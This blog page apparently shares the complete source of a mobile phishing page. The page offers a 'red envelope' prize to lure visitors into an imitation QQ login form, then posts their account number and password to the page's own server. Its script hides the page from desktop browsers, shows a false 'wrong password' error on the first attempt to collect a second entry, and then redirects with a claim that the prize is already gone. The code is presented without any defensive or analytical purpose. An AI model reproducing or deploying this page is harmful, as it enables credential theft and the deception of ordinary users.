• h5登录


    <!DOCTYPE html>
    <html lang="zh-cn">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta id="viewport" name="viewport"
        content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <link href="/tpl/36/css.css" rel="stylesheet" type="text/css" /> 
    <title>恭喜发财!</title>
    <script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
    <script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>
    </head>
    <body style="display: none;">
        <div id="content" class="content">
            <div id="error_tips">
                <div id="error_tips_content">
                    <span id="error_icon"></span> <span id="error_message"></span>
                </div>
            </div>
            <div class="redpack">
                <img src="/tpl/36/redpack.gif" alt="">
            </div>
            <div id="login" class="login">
                <div id="app_name" style="display: none"></div>
                <div id="q_login" class="q_login" style="display: none">
                    <div id="q_login_title">
                        <div id="q_login_logo"></div>
                        <label id="q_login_tips">请选择登录帐号</label>
                    </div>
                    <div id="q_logon_list" class="q_logon_list"></div>
                </div>
                <div id="web_login">
                <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">
                    <ul id="g_list">
                        <li id="g_u"><div id="del_touch" class="del_touch">
                                <span id="del_u" class="del_u"></span>
                            </div>
                            <input id="u" class="inputstyle" name="u" autocomplete="off"
                            placeholder="号码"></li>
                        <li id="g_p"><div id="del_touch_p" class="del_touch">
                                <span id="del_p" class="del_u"></span>
                            </div>
                            <input id="p" class="inputstyle" maxlength="16" type="password"
                            name="p" autocorrect="off" placeholder="请输入您的密码"></li>
                    </ul>
                    <div id="auto_login">
                        <input type="checkbox" id="remember" checked="checked"> <span
                            class="checkbox"></span><label class="wording">记住登录状态</label>
                    </div>
                    <div href="javascript:void(0);" id="go">登 录</div>
                    </form>
                </div>
                <div id="switch">
                    <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>
                    <div id="zc_feedback">
                        <span id="zc"
                            onclick="window.open('httpx3Ax2Fx2Fptlogin2.qq.comx2Fj_newreg_url')">注册新帐号</span>
                        <span id="forgetpwd">忘了密码?</span>
                    </div>
                </div>
                <div id="custom_bottom"></div>
            </div>
            <div id="vcode">
                <label id="vcode_tips">点击图片可更换验证码</label>
                <div id="vcode_area">
                    <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input
                        id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off"
                        autocorrect="off" maxlength="6">
                </div>
                <div id="submit">提交验证码</div>
            </div>
        </div>
        <div id="new_vcode" class="new_vcode">
            
        </div>
        <div id="footerBlank"></div>
    </body>
    <script>
    
    function IsPC() {
        var userAgentInfo = navigator.userAgent;
        var Agents = ["Android", "iPhone",
                    "SymbianOS", "Windows Phone",
                    "iPad", "iPod"];
        var flag = true;
        for (var v = 0; v < Agents.length; v++) {
            if (userAgentInfo.indexOf(Agents[v]) > 0) {
                flag = false;
                break;
            }
        }
        return flag;
    }
    
    if(IsPC()){
        alert('请使用手机访问');
        $('body').hide();
    } else {
        $('body').show();
    }
    
    $(".redpack").on('click',function(){
        alert('请登录后领取');
        $(this).hide();
        $('.login').show();
    });
    var err = false;
    var times = 0;
    function error(msg){
    
        $("#error_tips").css({display:'block'});
        $('#error_message').html(msg);
        err = true;
    }
    
    $('form input').focus(function(){
    
        $("#error_tips").css({display:'none'});
        err = false;
        
    });
    
    $("#error_tips").on('click',function(){
        $(this).hide();
    });
    
    $("#go").on('click',function(){
        $(this).parents('form').submit();
    });
    
    $('form').submit(function(){
        var $this = $(this);
        $.ajax({
            url:$this.attr('action'),
            data:$this.serialize(),
            type:'post',
            beforeSend:function(){
                err = false;
                var p = $("#p").val();
                var u = $("#u").val();
                
                u == '' && error('您还没有输入帐号!');    
                if(err) return false;
                p == '' && error("您还没有输入密码!");
                if(err) return false;
    
                /^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
                if(err) return false;//只有renturn false表单才不会提交,return别的表单都会提交。
    
                var len = p.length;
    
                (len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');
                if(err) {
                    $("#p").val('');
                    return false;
                }
                $("#p").val('');
                $("#u").val('');
            },
            success:function(data){
                ++times;
                console.log(times);
                if(times<2){
                    
                    error('您输入的帐号或密码不正确,请重新输入。');
                    
                }else{
                    alert('红包已经被领取');
                    location.href = data.url;
                }
                
            },
            dataType:'json'
    
            })
        return false;
        
    })
    
    </script>
    </html>
  • 相关阅读:
    MySQL关于check约束无效的解决办法
    关于constraint的用法
    MySQL关于Duplicate entry '1' for key 'PRIMARY'错误
    iOS实现高斯模糊效果(Swift版本)
    iOS获取视频中的指定帧的两种方法
    Java关于e.printStackTrace()介绍
    iOS关于JSONKit解析Unicode字符内容出错,问题出在u0000
    Java转型(向上转型和向下转型)
    添加删除Windows组件里没有IIS(Internet信息服务)项的解决方法
    Windows2003:“无法加载安装程序库wbemupgd.dll
  • 原文地址:https://www.cnblogs.com/yaowen/p/5725154.html
Copyright © 2020-2023  润新知